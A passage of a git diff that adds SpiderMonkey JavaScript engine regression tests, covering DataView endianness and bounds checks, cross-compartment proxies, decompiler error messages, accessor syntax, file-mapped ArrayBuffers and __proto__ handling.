+ view = new DataView(buffer13_r_pad3, 7, 12);
+ view.setFloat32(3, 1.2300000190734863, false);
+ assertEq(view.getFloat32(3, false), 1.2300000190734863);
+ view = new DataView(buffer13_r_pad7, 7, 16);
+ view.setFloat32(7, 1.2300000190734863, false);
+ assertEq(view.getFloat32(7, false), 1.2300000190734863);
+ view = new DataView(buffer13_r_pad10, 7, 19);
+ view.setFloat32(10, 1.2300000190734863, false);
+ assertEq(view.getFloat32(10, false), 1.2300000190734863);
+
+ // testFloatSet expected=-45621.37109375
+ // Little endian
+ view = new DataView(buffer13, 7, 9);
+ view.setFloat32(0, -45621.37109375, true);
+ assertEq(view.getFloat32(0, true), -45621.37109375);
+ view = new DataView(buffer13_pad3, 7, 12);
+ view.setFloat32(3, -45621.37109375, true);
+ assertEq(view.getFloat32(3, true), -45621.37109375);
+ view = new DataView(buffer13_pad7, 7, 16);
+ view.setFloat32(7, -45621.37109375, true);
+ assertEq(view.getFloat32(7, true), -45621.37109375);
+ view = new DataView(buffer13_pad10, 7, 19);
+ view.setFloat32(10, -45621.37109375, true);
+ assertEq(view.getFloat32(10, true), -45621.37109375);
+ // Big endian.
+ view = new DataView(buffer13_r, 7, 9);
+ view.setFloat32(0, -45621.37109375, false);
+ assertEq(view.getFloat32(0, false), -45621.37109375);
+ view = new DataView(buffer13_r_pad3, 7, 12);
+ view.setFloat32(3, -45621.37109375, false);
+ assertEq(view.getFloat32(3, false), -45621.37109375);
+ view = new DataView(buffer13_r_pad7, 7, 16);
+ view.setFloat32(7, -45621.37109375, false);
+ assertEq(view.getFloat32(7, false), -45621.37109375);
+ view = new DataView(buffer13_r_pad10, 7, 19);
+ view.setFloat32(10, -45621.37109375, false);
+ assertEq(view.getFloat32(10, false), -45621.37109375);
+
+ // testFloatSet expected=NaN
+ // Little endian
+ view = new DataView(buffer13, 7, 9);
+ view.setFloat32(0, NaN, true);
+ assertEq(view.getFloat32(0, true), NaN);
+ view = new DataView(buffer13_pad3, 7, 12);
+ view.setFloat32(3, NaN, true);
+ assertEq(view.getFloat32(3, true), NaN);
+ view = new DataView(buffer13_pad7, 7, 16);
+ view.setFloat32(7, NaN, true);
+ assertEq(view.getFloat32(7, true), NaN);
+ view = new DataView(buffer13_pad10, 7, 19);
+ view.setFloat32(10, NaN, true);
+ assertEq(view.getFloat32(10, true), NaN);
+ // Big endian.
+ view = new DataView(buffer13_r, 7, 9);
+ view.setFloat32(0, NaN, false);
+ assertEq(view.getFloat32(0, false), NaN);
+ view = new DataView(buffer13_r_pad3, 7, 12);
+ view.setFloat32(3, NaN, false);
+ assertEq(view.getFloat32(3, false), NaN);
+ view = new DataView(buffer13_r_pad7, 7, 16);
+ view.setFloat32(7, NaN, false);
+ assertEq(view.getFloat32(7, false), NaN);
+ view = new DataView(buffer13_r_pad10, 7, 19);
+ view.setFloat32(10, NaN, false);
+ assertEq(view.getFloat32(10, false), NaN);
+
+ // testFloatSet expected=-NaN
+ // Little endian
+ view = new DataView(buffer13, 7, 9);
+ view.setFloat32(0, -NaN, true);
+ assertEq(view.getFloat32(0, true), -NaN);
+ view = new DataView(buffer13_pad3, 7, 12);
+ view.setFloat32(3, -NaN, true);
+ assertEq(view.getFloat32(3, true), -NaN);
+ view = new DataView(buffer13_pad7, 7, 16);
+ view.setFloat32(7, -NaN, true);
+ assertEq(view.getFloat32(7, true), -NaN);
+ view = new DataView(buffer13_pad10, 7, 19);
+ view.setFloat32(10, -NaN, true);
+ assertEq(view.getFloat32(10, true), -NaN);
+ // Big endian.
+ view = new DataView(buffer13_r, 7, 9);
+ view.setFloat32(0, -NaN, false);
+ assertEq(view.getFloat32(0, false), -NaN);
+ view = new DataView(buffer13_r_pad3, 7, 12);
+ view.setFloat32(3, -NaN, false);
+ assertEq(view.getFloat32(3, false), -NaN);
+ view = new DataView(buffer13_r_pad7, 7, 16);
+ view.setFloat32(7, -NaN, false);
+ assertEq(view.getFloat32(7, false), -NaN);
+ view = new DataView(buffer13_r_pad10, 7, 19);
+ view.setFloat32(10, -NaN, false);
+ assertEq(view.getFloat32(10, false), -NaN);
+
+ // testFloatSet expected=10
+ // Little endian
+ view = new DataView(buffer13, 7, 9);
+ view.setFloat64(0, 10, true);
+ assertEq(view.getFloat64(0, true), 10);
+ view = new DataView(buffer13_pad3, 7, 12);
+ view.setFloat64(3, 10, true);
+ assertEq(view.getFloat64(3, true), 10);
+ view = new DataView(buffer13_pad7, 7, 16);
+ view.setFloat64(7, 10, true);
+ assertEq(view.getFloat64(7, true), 10);
+ view = new DataView(buffer13_pad10, 7, 19);
+ view.setFloat64(10, 10, true);
+ assertEq(view.getFloat64(10, true), 10);
+ // Big endian.
+ view = new DataView(buffer13_r, 7, 9);
+ view.setFloat64(0, 10, false);
+ assertEq(view.getFloat64(0, false), 10);
+ view = new DataView(buffer13_r_pad3, 7, 12);
+ view.setFloat64(3, 10, false);
+ assertEq(view.getFloat64(3, false), 10);
+ view = new DataView(buffer13_r_pad7, 7, 16);
+ view.setFloat64(7, 10, false);
+ assertEq(view.getFloat64(7, false), 10);
+ view = new DataView(buffer13_r_pad10, 7, 19);
+ view.setFloat64(10, 10, false);
+ assertEq(view.getFloat64(10, false), 10);
+
+ // testFloatSet expected=1.23
+ // Little endian
+ view = new DataView(buffer13, 7, 9);
+ view.setFloat64(0, 1.23, true);
+ assertEq(view.getFloat64(0, true), 1.23);
+ view = new DataView(buffer13_pad3, 7, 12);
+ view.setFloat64(3, 1.23, true);
+ assertEq(view.getFloat64(3, true), 1.23);
+ view = new DataView(buffer13_pad7, 7, 16);
+ view.setFloat64(7, 1.23, true);
+ assertEq(view.getFloat64(7, true), 1.23);
+ view = new DataView(buffer13_pad10, 7, 19);
+ view.setFloat64(10, 1.23, true);
+ assertEq(view.getFloat64(10, true), 1.23);
+ // Big endian.
+ view = new DataView(buffer13_r, 7, 9);
+ view.setFloat64(0, 1.23, false);
+ assertEq(view.getFloat64(0, false), 1.23);
+ view = new DataView(buffer13_r_pad3, 7, 12);
+ view.setFloat64(3, 1.23, false);
+ assertEq(view.getFloat64(3, false), 1.23);
+ view = new DataView(buffer13_r_pad7, 7, 16);
+ view.setFloat64(7, 1.23, false);
+ assertEq(view.getFloat64(7, false), 1.23);
+ view = new DataView(buffer13_r_pad10, 7, 19);
+ view.setFloat64(10, 1.23, false);
+ assertEq(view.getFloat64(10, false), 1.23);
+
+ // testFloatSet expected=-6213576.4839
+ // Little endian
+ view = new DataView(buffer13, 7, 9);
+ view.setFloat64(0, -6213576.4839, true);
+ assertEq(view.getFloat64(0, true), -6213576.4839);
+ view = new DataView(buffer13_pad3, 7, 12);
+ view.setFloat64(3, -6213576.4839, true);
+ assertEq(view.getFloat64(3, true), -6213576.4839);
+ view = new DataView(buffer13_pad7, 7, 16);
+ view.setFloat64(7, -6213576.4839, true);
+ assertEq(view.getFloat64(7, true), -6213576.4839);
+ view = new DataView(buffer13_pad10, 7, 19);
+ view.setFloat64(10, -6213576.4839, true);
+ assertEq(view.getFloat64(10, true), -6213576.4839);
+ // Big endian.
+ view = new DataView(buffer13_r, 7, 9);
+ view.setFloat64(0, -6213576.4839, false);
+ assertEq(view.getFloat64(0, false), -6213576.4839);
+ view = new DataView(buffer13_r_pad3, 7, 12);
+ view.setFloat64(3, -6213576.4839, false);
+ assertEq(view.getFloat64(3, false), -6213576.4839);
+ view = new DataView(buffer13_r_pad7, 7, 16);
+ view.setFloat64(7, -6213576.4839, false);
+ assertEq(view.getFloat64(7, false), -6213576.4839);
+ view = new DataView(buffer13_r_pad10, 7, 19);
+ view.setFloat64(10, -6213576.4839, false);
+ assertEq(view.getFloat64(10, false), -6213576.4839);
+
+ // testFloatSet expected=NaN
+ // Little endian
+ view = new DataView(buffer13, 7, 9);
+ view.setFloat64(0, NaN, true);
+ assertEq(view.getFloat64(0, true), NaN);
+ view = new DataView(buffer13_pad3, 7, 12);
+ view.setFloat64(3, NaN, true);
+ assertEq(view.getFloat64(3, true), NaN);
+ view = new DataView(buffer13_pad7, 7, 16);
+ view.setFloat64(7, NaN, true);
+ assertEq(view.getFloat64(7, true), NaN);
+ view = new DataView(buffer13_pad10, 7, 19);
+ view.setFloat64(10, NaN, true);
+ assertEq(view.getFloat64(10, true), NaN);
+ // Big endian.
+ view = new DataView(buffer13_r, 7, 9);
+ view.setFloat64(0, NaN, false);
+ assertEq(view.getFloat64(0, false), NaN);
+ view = new DataView(buffer13_r_pad3, 7, 12);
+ view.setFloat64(3, NaN, false);
+ assertEq(view.getFloat64(3, false), NaN);
+ view = new DataView(buffer13_r_pad7, 7, 16);
+ view.setFloat64(7, NaN, false);
+ assertEq(view.getFloat64(7, false), NaN);
+ view = new DataView(buffer13_r_pad10, 7, 19);
+ view.setFloat64(10, NaN, false);
+ assertEq(view.getFloat64(10, false), NaN);
+
+ // testFloatSet expected=-NaN
+ // Little endian
+ view = new DataView(buffer13, 7, 9);
+ view.setFloat64(0, -NaN, true);
+ assertEq(view.getFloat64(0, true), -NaN);
+ view = new DataView(buffer13_pad3, 7, 12);
+ view.setFloat64(3, -NaN, true);
+ assertEq(view.getFloat64(3, true), -NaN);
+ view = new DataView(buffer13_pad7, 7, 16);
+ view.setFloat64(7, -NaN, true);
+ assertEq(view.getFloat64(7, true), -NaN);
+ view = new DataView(buffer13_pad10, 7, 19);
+ view.setFloat64(10, -NaN, true);
+ assertEq(view.getFloat64(10, true), -NaN);
+ // Big endian.
+ view = new DataView(buffer13_r, 7, 9);
+ view.setFloat64(0, -NaN, false);
+ assertEq(view.getFloat64(0, false), -NaN);
+ view = new DataView(buffer13_r_pad3, 7, 12);
+ view.setFloat64(3, -NaN, false);
+ assertEq(view.getFloat64(3, false), -NaN);
+ view = new DataView(buffer13_r_pad7, 7, 16);
+ view.setFloat64(7, -NaN, false);
+ assertEq(view.getFloat64(7, false), -NaN);
+ view = new DataView(buffer13_r_pad10, 7, 19);
+ view.setFloat64(10, -NaN, false);
+ assertEq(view.getFloat64(10, false), -NaN);
+
+ // Test for set methods that write to negative index
+
+ // testSetNegativeIndexes
+ view = new DataView(buffer1, 0, 16);
+ checkThrow(() => view.setInt8(-1, 0), RangeError);
+ checkThrow(() => view.setInt8(-2, 0), RangeError);
+ checkThrow(() => view.setUint8(-1, 0), RangeError);
+ checkThrow(() => view.setUint8(-2, 0), RangeError);
+ checkThrow(() => view.setInt16(-1, 0), RangeError);
+ checkThrow(() => view.setInt16(-2, 0), RangeError);
+ checkThrow(() => view.setInt16(-3, 0), RangeError);
+ checkThrow(() => view.setUint16(-1, 0), RangeError);
+ checkThrow(() => view.setUint16(-2, 0), RangeError);
+ checkThrow(() => view.setUint16(-3, 0), RangeError);
+ checkThrow(() => view.setInt32(-1, 0), RangeError);
+ checkThrow(() => view.setInt32(-3, 0), RangeError);
+ checkThrow(() => view.setInt32(-5, 0), RangeError);
+ checkThrow(() => view.setUint32(-1, 0), RangeError);
+ checkThrow(() => view.setUint32(-3, 0), RangeError);
+ checkThrow(() => view.setUint32(-5, 0), RangeError);
+ view = new DataView(buffer7, 0, 8);
+ checkThrow(() => view.setFloat32(-1, 0), RangeError);
+ checkThrow(() => view.setFloat32(-3, 0), RangeError);
+ checkThrow(() => view.setFloat32(-5, 0), RangeError);
+ checkThrow(() => view.setFloat64(-1, 0), RangeError);
+ checkThrow(() => view.setFloat64(-5, 0), RangeError);
+ checkThrow(() => view.setFloat64(-9, 0), RangeError);
+
+ // Too large for signed 32 bit integer index
+ checkThrow(() => view.setInt8(2147483649, 1), RangeError);
+ checkThrow(() => view.setUint8(2147483649, 1), RangeError);
+ checkThrow(() => view.setInt16(2147483649, 1), RangeError);
+ checkThrow(() => view.setUint16(2147483649, 1), RangeError);
+ checkThrow(() => view.setInt32(2147483649, 1), RangeError);
+ checkThrow(() => view.setUint32(2147483649, 1), RangeError);
+ checkThrow(() => view.setFloat32(2147483649, 1), RangeError);
+ checkThrow(() => view.setFloat64(2147483649, 1), RangeError);
+
+ // testAlignment
+ var intArray1 = [0, 1, 2, 3, 100, 101, 102, 103, 128, 129, 130, 131, 252, 253, 254, 255];
+ view = new DataView((new Uint8Array(intArray1)).buffer, 0);
+ assertEq(view.getUint32(0, false), 0x00010203);
+ view = new DataView((new Uint8Array(intArray1)).buffer, 1);
+ assertEq(view.getUint32(0, false), 0x01020364);
+ view = new DataView((new Uint8Array(intArray1)).buffer, 2);
+ assertEq(view.getUint32(0, false), 0x02036465);
+ view = new DataView((new Uint8Array(intArray1)).buffer, 3);
+ assertEq(view.getUint32(0, false), 0x03646566);
+ view = new DataView((new Uint8Array(intArray1)).buffer, 4);
+ assertEq(view.getUint32(0, false), 0x64656667);
+ view = new DataView((new Uint8Array(intArray1)).buffer, 5);
+ assertEq(view.getUint32(0, false), 0x65666780);
+ view = new DataView((new Uint8Array(intArray1)).buffer, 6);
+ assertEq(view.getUint32(0, false), 0x66678081);
+ view = new DataView((new Uint8Array(intArray1)).buffer, 7);
+ assertEq(view.getUint32(0, false), 0x67808182);
+
+ // Test for indexing into a DataView, which should not use the ArrayBuffer storage
+ view = new DataView((new Uint8Array([1, 2])).buffer);
+ assertEq(view[0], undefined);
+ view[0] = 3;
+ assertEq(view[0], 3);
+ assertEq(view.getUint8(0), 1);
+
+ // Test WebIDL-specific class and prototype class names
+ assertEq(Object.prototype.toString.apply(new Uint8Array(0)), "[object Uint8Array]");
+ assertEq(Object.prototype.toString.apply(new Float32Array(0)), "[object Float32Array]");
+ assertEq(Object.prototype.toString.apply(new ArrayBuffer()), "[object ArrayBuffer]");
+ assertEq(Object.prototype.toString.apply(new DataView(view.buffer)), "[object DataView]");
+ assertEq(Object.prototype.toString.apply(DataView.prototype), "[object DataView]");
+
+ // Technically the spec requires these throw a TypeError -- right now. It's
+ // not clear this is desirable. Once we implement @@toStringTag we can see
+ // whether ES6's desired semantics will work.
+ assertEq(Object.prototype.toString.apply(Uint8Array.prototype), "[object Uint8ArrayPrototype]");
+ assertEq(Object.prototype.toString.apply(Float32Array.prototype), "[object Float32ArrayPrototype]");
+
+ // Same applies for %TypedArray%.prototype, except because of its newness we
+ // give it the thoroughly-inscrutable "???" as its class name so (hopefully)
+ // people won't rely on it. ("???" is the class exposed by
+ // ({ [@@toStringTag]: nonUndefinedNonStringValue }).toString(), so
+ // it has slight precedent even if it's not-to-spec.)
+ checkThrowTODO(() => {
+ var typedArrayPrototype = Object.getPrototypeOf(Float32Array.prototype);
+ assertEq(Object.prototype.toString.apply(typedArrayPrototype),
+ "[object ???]");
+ }, TypeError);
+
+ // Accessing DataView fields on DataView.prototype should crash
+ checkThrow(() => DataView.prototype.byteLength, TypeError);
+ checkThrow(() => DataView.prototype.byteOffset, TypeError);
+ checkThrow(() => DataView.prototype.buffer, TypeError);
+
+ // Protos and proxies, oh my!
+ var alien = newGlobal();
+ var alien_data = alien.eval('data = ' + data1.toSource());
+ var alien_buffer = alien.eval('buffer = new Uint8Array(data).buffer');
+ var alien_view = alien.eval('view = new DataView(buffer, 0, 16)');
+
+ // proto is view of buffer: should throw
+ var o = Object.create(view1);
+ checkThrow(() => o.getUint8(4), TypeError); // WebIDL 4.4.7: Operations
+ checkThrow(() => o.buffer, TypeError); // WebIDL 4.4.6: Attributes, section 2
+ checkThrow(() => o.byteOffset, TypeError);
+ checkThrow(() => o.byteLength, TypeError);
+
+ // proxy for view of buffer: should work
+ assertEq(alien_view.buffer.byteLength > 0, true);
+ assertEq(alien_view.getUint8(4), 100);
+
+ // Bug 753996: when throwing an Error whose message contains the name of a
+ // function, the JS engine calls js_ValueToFunction to produce the function
+ // name to include in the message. js_ValueToFunction does not unwrap its
+ // argument. So if the function is actually a wrapper, then
+ // js_ValueToFunction will throw a TypeError ("X is not a function").
+ // Confusingly, this TypeError uses the decompiler, which *will* unwrap the
+ // object to get the wrapped function name out, so the final error will
+ // look something like "SomeFunction() is not a function".)
+ var weirdo = Object.create(alien.eval("new Date"));
+ var e = null;
+ try {
+ weirdo.getTime();
+ } catch (exc) {
+ e = exc;
+ }
+ if (!e) {
+ print("==== TODO but PASSED? ====");
+ print("Bug 753996 unexpectedly passed");
+ }
+
+ // proto is proxy for view of buffer: should throw TypeError
+ //
+ // As of this writing, bug 753996 causes this to throw the *wrong*
+ // TypeError, and in fact it throws a (thisglobal).TypeError instead of
+ // alien.TypeError.
+ var av = Object.create(alien_view);
+ checkThrowTODO(() => av.getUint8(4), alien.TypeError);
+ checkThrowTODO(() => av.buffer, alien.TypeError);
+
+ // view of object whose proto is buffer. This should not work per dherman.
+ // Note that DataView throws a TypeError while TypedArrays create a
+ // zero-length view. Odd though it seems, this is correct: TypedArrays have
+ // a constructor that takes a length argument; DataViews do not. So a
+ // TypedArray will do ToUint32 and end up passing a zero as the
+ // constructor's length argument.
+ buffer = Object.create(buffer1);
+ checkThrow(() => new DataView(buffer), TypeError);
+
+ // view of proxy for buffer
+ av = new DataView(alien_buffer);
+ assertEq(av.getUint8(4), 100);
+ assertEq(Object.getPrototypeOf(av), DataView.prototype);
+
+ // Bug 760904: call another compartment's constructor with an ArrayBuffer
+ // from this compartment.
+ var alien_constructor = alien.DataView;
+ var local_buffer = (new Int8Array(3)).buffer;
+ var foreign_exchange_student = new alien_constructor(local_buffer);
+
+ // gc bug 787775
+ var ab = new ArrayBuffer(4);
+ var dv = new DataView(ab);
+ dv = 1;
+ gc();
+
+ reportCompare(0, 0, 'done.');
+ exitFunc ('test');
+}
+
+test();
diff --git a/js/src/tests/js1_8_5/extensions/decompile-for-of.js b/js/src/tests/js1_8_5/extensions/decompile-for-of.js
new file mode 100644
index 000000000..b99e20a40
--- /dev/null
+++ b/js/src/tests/js1_8_5/extensions/decompile-for-of.js
@@ -0,0 +1,27 @@
+// The decompiler can handle the implicit call to @@iterator in a for-of loop.
+
+var x;
+function check(code, msg) {
+ var s = "no exception thrown";
+ try {
+ eval(code);
+ } catch (exc) {
+ s = exc.message;
+ }
+
+ assertEq(s, msg);
+}
+
+x = {};
+check("for (var v of x) throw fit;", "x is not iterable");
+check("[...x]", "x is not iterable");
+check("Math.hypot(...x)", "x is not iterable");
+
+x[Symbol.iterator] = "potato";
+check("for (var v of x) throw fit;", "x is not iterable");
+
+x[Symbol.iterator] = {};
+check("for (var v of x) throw fit;", "x[Symbol.iterator] is not a function");
+
+if (typeof reportCompare === "function")
+ reportCompare(0, 0, "ok");
diff --git a/js/src/tests/js1_8_5/extensions/destructure-accessor.js b/js/src/tests/js1_8_5/extensions/destructure-accessor.js
new file mode 100644
index 000000000..e8c57bb93
--- /dev/null
+++ b/js/src/tests/js1_8_5/extensions/destructure-accessor.js
@@ -0,0 +1,75 @@
+// Any copyright is dedicated to the Public Domain.
+// http://creativecommons.org/licenses/publicdomain/
+
+var gTestfile = 'destructure-accessor.js';
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 536472;
+var summary =
+ 'ES5: { get x(v) { } } and { set x(v, v2) { } } should be syntax errors';
+
+print(BUGNUMBER + ": " + summary);
+
+//-----------------------------------------------------------------------------
+
+function expectOk(s)
+{
+ try
+ {
+ eval(s);
+ return;
+ }
+ catch (e)
+ {
+ assertEq(true, false,
+ "expected no error parsing '" + "', got : " + e);
+ }
+}
+
+function expectSyntaxError(s)
+{
+ try
+ {
+ eval(s);
+ throw new Error("no error thrown");
+ }
+ catch (e)
+ {
+ assertEq(e instanceof SyntaxError, true,
+ "expected syntax error parsing '" + s + "', got: " + e);
+ }
+}
+
+expectSyntaxError("({ get x([]) { } })");
+expectSyntaxError("({ get x({}) { } })");
+expectSyntaxError("({ get x(a, []) { } })");
+expectSyntaxError("({ get x(a, {}) { } })");
+expectSyntaxError("({ get x([], a) { } })");
+expectSyntaxError("({ get x({}, a) { } })");
+expectSyntaxError("({ get x([], a, []) { } })");
+expectSyntaxError("({ get x([], a, {}) { } })");
+expectSyntaxError("({ get x({}, a, []) { } })");
+expectSyntaxError("({ get x({}, a, {}) { } })");
+
+expectOk("({ get x() { } })");
+
+
+expectSyntaxError("({ set x() { } })");
+expectSyntaxError("({ set x(a, []) { } })");
+expectSyntaxError("({ set x(a, b, c) { } })");
+
+expectOk("({ set x([]) { } })");
+expectOk("({ set x({}) { } })");
+expectOk("({ set x([a]) { } })");
+expectOk("({ set x([a, b]) { } })");
+expectOk("({ set x([a,]) { } })");
+expectOk("({ set x([a, b,]) { } })");
+expectOk("({ set x([, b]) { } })");
+expectOk("({ set x([, b,]) { } })");
+expectOk("({ set x([, b, c]) { } })");
+expectOk("({ set x([, b, c,]) { } })");
+expectOk("({ set x({ a: a }) { } })");
+expectOk("({ set x({ a: a, b: b }) { } })");
+
+//-----------------------------------------------------------------------------
+
+reportCompare(true, true);
diff --git a/js/src/tests/js1_8_5/extensions/empty.txt b/js/src/tests/js1_8_5/extensions/empty.txt
new file mode 100644
index 000000000..e69de29bb
--- /dev/null
+++ b/js/src/tests/js1_8_5/extensions/empty.txt
diff --git a/js/src/tests/js1_8_5/extensions/file-mapped-arraybuffers.js b/js/src/tests/js1_8_5/extensions/file-mapped-arraybuffers.js
new file mode 100644
index 000000000..cea0cd799
--- /dev/null
+++ b/js/src/tests/js1_8_5/extensions/file-mapped-arraybuffers.js
@@ -0,0 +1,41 @@
+// |reftest| skip-if(!xulRuntime.shell)
+// Any copyright is dedicated to the Public Domain.
+// http://creativecommons.org/licenses/publicdomain/
+
+function viewToString(view)
+{
+ return String.fromCharCode.apply(null, view);
+}
+
+function assertThrows(f, wantException)
+{
+ try {
+ f();
+ assertEq(true, false, "expected " + wantException + " exception");
+ } catch (e) {
+ assertEq(e.name, wantException.name, e.toString());
+ }
+}
+
+function test() {
+ var filename = "file-mapped-arraybuffers.txt";
+ var buffer = createMappedArrayBuffer(filename);
+ var view = new Uint8Array(buffer);
+ assertEq(viewToString(view), "01234567abcdefghijkl");
+
+ var buffer2 = createMappedArrayBuffer(filename, 8);
+ view = new Uint8Array(buffer2);
+ assertEq(viewToString(view), "abcdefghijkl");
+
+ var buffer3 = createMappedArrayBuffer(filename, 0, 8);
+ view = new Uint8Array(buffer3);
+ assertEq(viewToString(view), "01234567");
+
+ // Check that invalid sizes and offsets are caught
+ assertThrows(() => createMappedArrayBuffer("empty.txt", 8), RangeError);
+ assertThrows(() => createMappedArrayBuffer("empty.txt", 0, 8), Error);
+}
+
+if (getBuildConfiguration()["mapped-array-buffer"])
+ test();
+reportCompare(0, 0, 'ok');
diff --git a/js/src/tests/js1_8_5/extensions/file-mapped-arraybuffers.txt b/js/src/tests/js1_8_5/extensions/file-mapped-arraybuffers.txt
new file mode 100644
index 000000000..4289a17b8
--- /dev/null
+++ b/js/src/tests/js1_8_5/extensions/file-mapped-arraybuffers.txt
@@ -0,0 +1 @@
+01234567abcdefghijkl \ No newline at end of file
diff --git a/js/src/tests/js1_8_5/extensions/is-generator.js b/js/src/tests/js1_8_5/extensions/is-generator.js
new file mode 100644
index 000000000..6c77adda8
--- /dev/null
+++ b/js/src/tests/js1_8_5/extensions/is-generator.js
@@ -0,0 +1,23 @@
+/*
+ * Any copyright is dedicated to the Public Domain.
+ * http://creativecommons.org/licenses/publicdomain/
+ */
+
+/*
+ * Bug 648355: Function.prototype.isGenerator
+ */
+
+reportCompare(true, "isGenerator" in Function.prototype, "Function.prototype.isGenerator present");
+
+reportCompare(false, (function(){}).isGenerator(), "lambda is not a generator fn");
+reportCompare(false, Function.prototype.toString.isGenerator(), "native is not a generator fn");
+reportCompare(false, (function(){with(obj){}}).isGenerator(), "heavyweight is not a generator fn");
+reportCompare(false, (function(){obj}).isGenerator(), "upvar function is not a generator fn");
+
+reportCompare(true, (function(){yield}).isGenerator(), "simple generator fn");
+reportCompare(true, (function(){with(obj){yield}}).isGenerator(), "heavyweight generator fn");
+reportCompare(true, (function(){yield; obj}).isGenerator(), "upvar generator fn");
+
+reportCompare(false, Function.prototype.isGenerator.call(42), "number is not a generator fn");
+reportCompare(false, Function.prototype.isGenerator.call({}), "vanilla object is not a generator fn");
+reportCompare(false, Function.prototype.isGenerator.call(new Date()), "date object is not a generator fn");
diff --git a/js/src/tests/js1_8_5/extensions/mutable-proto-special-form.js b/js/src/tests/js1_8_5/extensions/mutable-proto-special-form.js
new file mode 100644
index 000000000..b196507f2
--- /dev/null
+++ b/js/src/tests/js1_8_5/extensions/mutable-proto-special-form.js
@@ -0,0 +1,91 @@
+// Any copyright is dedicated to the Public Domain.
+// http://creativecommons.org/licenses/publicdomain/
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 948583;
+var summary =
+ "Make __proto__ in object literals a special form not influenced by " +
+ "|Object.prototype|";
+
+print(BUGNUMBER + ": " + summary);
+
+/**************
+ * BEGIN TEST *
+ **************/
+
+var passed = true;
+
+function performProtoTests(msg)
+{
+ print("Testing " + msg);
+ assertEq(passed, true, "passed wrong at start of test set");
+
+ assertEq(Object.getPrototypeOf({ __proto__: null }), null);
+ assertEq(Object.getPrototypeOf({ __proto__: undefined }), Object.prototype);
+ assertEq(Object.getPrototypeOf({ __proto__: 17 }), Object.prototype);
+
+ var obj = {};
+ assertEq(Object.getPrototypeOf({ __proto__: obj }), obj);
+
+ assertEq(passed, true, "passed wrong at end of test set");
+ print("Tests of " + msg + " passed!");
+}
+
+function poisonProto(obj)
+{
+ Object.defineProperty(obj, "__proto__",
+ {
+ configurable: true,
+ enumerable: true,
+ set: function(v) { passed = false; },
+ });
+}
+
+performProtoTests("initial behavior");
+
+var desc = Object.getOwnPropertyDescriptor(Object.prototype, "__proto__");
+var setProto = desc.set;
+delete Object.prototype.__proto__;
+
+performProtoTests("behavior after Object.prototype.__proto__ deletion");
+
+Object.defineProperty(Object.prototype, "__proto__",
+ {
+ configurable: true,
+ enumerable: false,
+ set: function(v) { passed = false; },
+ });
+
+performProtoTests("behavior after making Object.prototype.__proto__ a " +
+ "custom setter");
+
+Object.defineProperty(Object.prototype, "__proto__", { set: undefined });
+
+performProtoTests("behavior after making Object.prototype.__proto__'s " +
+ "[[Set]] === undefined");
+
+try
+{
+ var superProto = Object.create(null);
+ poisonProto(superProto);
+ setProto.call(Object.prototype, superProto);
+
+ performProtoTests("behavior after mutating Object.prototype.[[Prototype]]");
+
+ // Note: The handler below will have to be updated to exempt a scriptable
+ // getPrototypeOf trap (to instead consult the target whose [[Prototype]]
+ // is safely non-recursive), if we ever implement one.
+ var death = new Proxy(Object.create(null),
+ new Proxy({}, { get: function() { passed = false; } }));
+
+ setProto.call(Object.prototype, death);
+
+ performProtoTests("behavior after making Object.prototype.[[Prototype]] a " +
+ "proxy that throws for any access");
+}
+catch (e) {}
+
+if (typeof reportCompare === "function")
+ reportCompare(true, true);
+
+print("Tests complete");
diff --git a/js/src/tests/js1_8_5/extensions/object-toSource-undefined-getter.js b/js/src/tests/js1_8_5/extensions/object-toSource-undefined-getter.js
new file mode 100644
index 000000000..a207e00c9
--- /dev/null
+++ b/js/src/tests/js1_8_5/extensions/object-toSource-undefined-getter.js
@@ -0,0 +1,9 @@
+/* Any copyright is dedicated to the Public Domain.
+ * http://creativecommons.org/licenses/publicdomain/ */
+
+var desc = { get: undefined, set: undefined, configurable: true, enumerable: true };
+var obj = Object.defineProperty({}, "prop", desc);
+assertEq(obj.toSource(), "({})");
+
+if (typeof reportCompare === "function")
+ reportCompare(0, 0);
diff --git a/js/src/tests/js1_8_5/extensions/object-toSource-with-symbol-keys.js b/js/src/tests/js1_8_5/extensions/object-toSource-with-symbol-keys.js
new file mode 100644
index 000000000..cbd019e1e
--- /dev/null
+++ b/js/src/tests/js1_8_5/extensions/object-toSource-with-symbol-keys.js
@@ -0,0 +1,14 @@
+/* Any copyright is dedicated to the Public Domain.
+ * http://creativecommons.org/licenses/publicdomain/ */
+
+var obj = {};
+obj[Symbol.iterator] = 1;
+assertEq(obj.toSource(), "({[Symbol.iterator]:1})");
+obj[Symbol(undefined)] = 2;
+obj[Symbol('ponies')] = 3;
+obj[Symbol.for('ponies')] = 4;
+assertEq(obj.toSource(),
+ '({[Symbol.iterator]:1, [Symbol()]:2, [Symbol("ponies")]:3, [Symbol.for("ponies")]:4})');
+
+if (typeof reportCompare === "function")
+ reportCompare(0, 0);
diff --git a/js/src/tests/js1_8_5/extensions/proxy-proto-setter.js b/js/src/tests/js1_8_5/extensions/proxy-proto-setter.js
new file mode 100644
index 000000000..37e620cd1
--- /dev/null
+++ b/js/src/tests/js1_8_5/extensions/proxy-proto-setter.js
@@ -0,0 +1,50 @@
+// |reftest| skip-if(!xulRuntime.shell)
+// Any copyright is dedicated to the Public Domain.
+// http://creativecommons.org/licenses/publicdomain/
+// Contributor: Blake Kaplan
+
+function expect(actual, arg) {
+ reportCompare(expect.expected, actual, arg);
+}
+
+var window = { set x(y) { expect(this, y) }, y: 4 };
+expect.expected = window;
+window.x = "setting through a setter directly";
+window.y = 5;
+reportCompare(5, window.y, "setting properties works");
+var easy = { easy: 'yes', __proto__: window }
+expect.expected = easy;
+easy.x = "setting through a setter all-native on prototype";
+easy.y = 6;
+reportCompare(5, window.y, "window.y remains as it was");
+reportCompare(6, easy.y, "shadowing works properly");
+
+var sandbox = evalcx('');
+sandbox.window = window;
+sandbox.print = print;
+sandbox.expect = expect;
+var hard = evalcx('Object.create(window)', sandbox);
+expect.expected = hard;
+hard.x = "a setter through proxy -> native";
+hard.y = 6;
+reportCompare(5, window.y, "window.y remains as it was through a proxy");
+reportCompare(6, hard.y, "shadowing works on proxies");
+
+hard.__proto__ = { 'passed': true }
+reportCompare(true, hard.passed, "can set proxy.__proto__ through a native");
+
+var inverse = evalcx('({ set x(y) { expect(this, y); }, y: 4 })', sandbox);
+expect.expected = inverse;
+inverse.x = "setting through a proxy directly";
+inverse.y = 5;
+reportCompare(5, inverse.y, "setting properties works on proxies");
+
